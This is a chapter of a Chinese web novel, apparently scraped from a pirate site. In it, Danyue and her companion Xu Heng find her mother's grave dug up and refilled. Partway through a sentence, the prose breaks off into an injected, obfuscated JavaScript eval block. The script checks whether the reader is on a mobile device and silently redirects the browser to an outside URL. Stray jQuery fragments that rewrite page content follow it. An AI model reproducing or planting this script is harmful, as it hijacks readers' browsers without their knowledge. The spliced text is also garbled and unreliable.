118.第 118 章

作品:《孤女淡月

    被问的人点点头,“一家人,还是要在一起为好。”


    “那当初,你就不该由着她回家。”景王留下一句话,拂袖而去。


    不明所以的淡月连忙往前追了两步,却被自己爹爹拦下,“随他去吧,他有恨也能理解。”


    淡月的眸色很是复杂,她心里默默想着:上一辈的争端,怕远远没有父亲与她阐述的那般简单。但父亲说得对,一家人,还是要在一起为好。


    回去路上,许恒被叫进淡月父女的车里,被恒王好一顿教育。淡月也答应了父亲,自己会注意安全,确认官府安顿好那些无辜之人的亲眷她就回京,许恒再一次将功赎罪地陪伴郡主左右。


    “京中最近不太平,我怕是后日一早便要赶回去,你们俩,安顿好百姓就立马给我回来!若是再不见人,别怪我不认女儿,不认学生!”恒王难得的眉毛一横,气呼呼道。


    “好好好。”淡月笑得很开心,“我们俩都听父亲大人的。那要不,您催促府衙,早日解决完,我们若是能赶上您回京的队伍,岂不是更好?”


    “老师。”许恒很是恭敬地唤道。


    “何事?”


    “学生想请老师多留些时日,此间变幻莫测,恐出现我与郡主都处理不了的变数。处理好事端后,我们与您一同返京,您也更放心些。”


    他破天荒和淡月持相反意见,倒是让她诧异得很。恒王思虑再三,点了头:“也好,我就在景兄府上叨扰些时日,你们俩外出的时候也要万分当心。”


    “是。”


    “知道了,爹爹...”


    赤蛇帮流放的人是最先出发的,等他们一行人回到城中时,人已经踏上了西上的步伐。而那些斩首的人,也在府衙的加紧忙碌下提上日程。


    “大快人心!真真是大快人心!咱们狸城的老鼠屎终于除了!”


    “还得多谢京城来的那位恒王爷,手段了得,竟能黑白分明。”


    “是啊,当初我还跟着景王爷欢呼呢,想着赤蛇帮的人终于能斩首了,没想到里头还有被骗过去的可怜人,如今只是夺取良籍充公,也算行善积德了。”


    一路上,百姓们对恒王的风评极好,可车内的本尊却一脸愁容。


    “爹爹,你怎么了?百姓都在夸你,你怎么不高兴呀?”淡月此刻心里头很是骄傲,恨不得现下就掀开车帘让大家看看自己爹爹的尊容。


    恒王摇了摇头,道:“你景伯伯最重名誉,如今他们都在对比着,若是让他听了去,免不了又得彻夜陪他喝酒才能消掉他被下的面子了。”


    闻声,淡月似懂非懂地点点头,而一旁的许恒却笑了笑:“那不是正好,老师与景王爷也有很多年没有叙过旧,方才他又憋着气,您总归是要去一趟的。少年兄弟,没有什么过不去的坎儿。”


    “此言有理。”恒王赞许着。


    咚咚——随着两声车内叩响车壁的声音,前头帘子被掀开一条缝。前头的小厮露出一只眼,“主子有什么吩咐?”


    许恒抬手:“前头那个路口把我放下,我去给王爷们买几坛好酒。”


    “得嘞!”


    这一切被淡月看在眼里,记在心里。她算是知道,为何自己父亲如此中意此人,这么有眼力见还会处理问题的少年郎,被别人邀请去,不如自己留在身边。可惜......


    她轻轻摇了摇头。


    可惜,这人压根就是冲着恒王去的,为了能离她更近一些,恐怕就算是陛下相邀,他都不带看上一眼吧。


    “郡主可想到什么开心事了?”许恒稍微歪头问道。


    随后,被淡月狠狠挖了一眼,她不怀好气说道:“没有。”


    许恒:“......”


    恒王:“这群孩子们呀...”


    三日后,被夺去良籍人也准备远行,乘船而去,一路南下帮助南方修复因大雨冲刷的村落、城池。淡月特地在城墙之上,望着他们远行的队伍,许恒也站在她身后一步的位置,目送百姓。


    “终于告一段落了,只是我们要追查的线索断了。”淡月的声音很平静。


    “郡主还想追下去吗?”


    她摇摇头,“我觉得此时返京,静待时机也好。有太多的谜团,牵扯的人和事过深,也需要从长计议。”


    许恒望向她:“看来郡主是不打算放弃了。”


    她转过身来,直视他的眼眸:“若是让你先放弃呢?”


    “不可能。”


    “那你问什么问,我比你还犟,你又不是不知道。”


    很显然,许恒又挨了她一记白眼。


    “明日就要启程了,走之前我想再去看看娘。下周就除夕了,虽然不能在此处耽搁,但提前给娘带些吃食也算我尽了孝心。”


    上山的路上,淡月止不住地呢喃:“还真应该让娘回到京城,此处偏远,我们也就只能特殊日子过来一趟。搬去京城,我也能时不时过来看看娘。”


    “你很想她?”


    “当然啦。对我来说,娘亲是像神仙一般的存在。她什么都会,虽然刺绣是后来因为有了我才学的,可是她在怀我的那些日子里,绣工突飞猛进的,都比得上宫里头的绣娘了!我爹常说,娘亲就是天上的仙子,下凡来渡劫,选了我爹,又选了我。既然是渡劫,就要经历很多痛苦,其中看不见爱人老去的模样是其一,不能陪孩子长大是其二,病痛缠身是其三......”


    许恒听着她说了一路,嘴角的笑意就没下来过,“这里头竟然有这么多的门道,看来王妃当真是仙子无疑。”


    来到半山腰的墓碑前,前几天他们带来的贡品已经不见了。淡月蹲下身子拂去墓碑上的灰尘,打扫着四周:“许是些山里的动物吃掉的,也好,就当作个善事了。你们吃掉了我娘的东西,也要保佑她在天上过得好嗷!”


    身后的男人扑哧笑了出来,她还真是有趣,有时候成熟得说一不二,有时候又天真无邪如孩童。


    墓的四周落灰有些严重,她一个人用一双手打扫起来也有些吃力,许恒在地上捡了两根树枝,递给她:“用这个吧。”


    他也弯下身子,一起打扫墓碑周围。他的指尖无意间触碰到了坟前的泥土,动作微微一顿。


    许恒蹙起眉,下意识地用指尖捻了捻那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302284|164853||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    土......触感不对。


    上次来才过去短短几日,新添的坟土应当相对疏松,与下层沉积已久的硬土会有明显的区别。可此刻他指尖的泥土,却给人一种奇怪的黏腻感,新不新,旧不旧,均匀得诡异。


    瞧着前头埋头苦干的淡月,他不动声色地抓起一小撮土,在指间仔细看了看,又凑近鼻尖嗅了嗅,发现这里头除了土腥气,似乎还夹杂着一丝极淡的、不属于此地的生土味。


    思虑再三,他还是打算问上一问:“郡主,除了我们,可还有别人会来祭拜王妃?”


    淡月一丝不解浮现在脸上:“自是不会,娘亲的那些亲戚早就没有联络过了,这个地方除了我们和景伯伯,没有人会来的。”


    许恒了然的点点头,继续低下头查看泥土的状态,淡月瞧他这副模样,疑惑地走上前来,“怎么了?这土是有什么问题吗?”


    他没有立刻回答,而是将手中泥土递给她查看:“郡主请看这土。新添的土与旧土本该层次分明,如今却混作一团,就好像是...被人掘开后又回填,且填得仓促,未曾留意分层一般。”


    “什么?!”淡月心下一惊,连忙伸手去翻动那土,果然如许恒所说一般,新土旧土混作一团。


    她的眼眸扫视四周,最终落到坟茔的土包和墓碑上头。她骤然惊觉,在记忆中,因年年添土,母亲的坟包早已垒得高出墓碑一截,如今却刚好与墓碑顶端齐平,这不对劲......


    一阵劲风掠过,恰好将浮在最上层的尘土吹到淡月的鞋尖上,她抬脚试探性地在坟边踩了踩,惊觉脚下的泥土竟是松软的!全然不似往日踩踏后的坚实。


    “这...这是怎么一回事?”她脸色骤变,也顾不得许多,猛地扑跪下去,徒手就去刨那坟土。


    湿润的、冰冷的泥土被她慌乱的手指挖开,越是往下,泥土却还是浑浊的状态,丝毫不似深层土壤该有的状态。


    “怎么会这样……谁干的?谁动了我娘的坟?!”


    “郡主别急,此事有些蹊跷,我们先回禀王爷再做定夺。”许恒上前按住她慌乱的手腕,试图安抚她。


    王妃的墓被人翻动,且不说究竟是不是盗墓贼,丢上任何一件东西都兹事体大,远远不是他们二人能够决定的了的。


    “对,对,要跟爹爹说...”淡月往后甩动凌乱的发丝,而后身子僵直在原地,“不行!父亲若是知道,定会受不了的,保不齐要和景伯伯翻脸,毕竟景伯伯立过誓,会守护好娘亲的墓。如此这般,怕是事情发酵起来不堪设想。”


    说完,她急促地喘息着,眼神止不住地左右瞟动。


    “我们...”


    她眼中闪过坚定的光芒,仿佛回到了曾经那个坚毅能拿事儿的淡月,“我们去找工具,自己来探个究竟!”


    许恒沉吟片刻,重重点头:“好。”


    他们回到山脚下,寻了一家农户,找来了铁锹和镐。再次回到半山腰,二人对视一眼,再无犹豫。随着泥土被一锹一锹地铲开,有一股不祥的预感如同黑洞般在他们二人的心中不断扩大。


    “哐当——”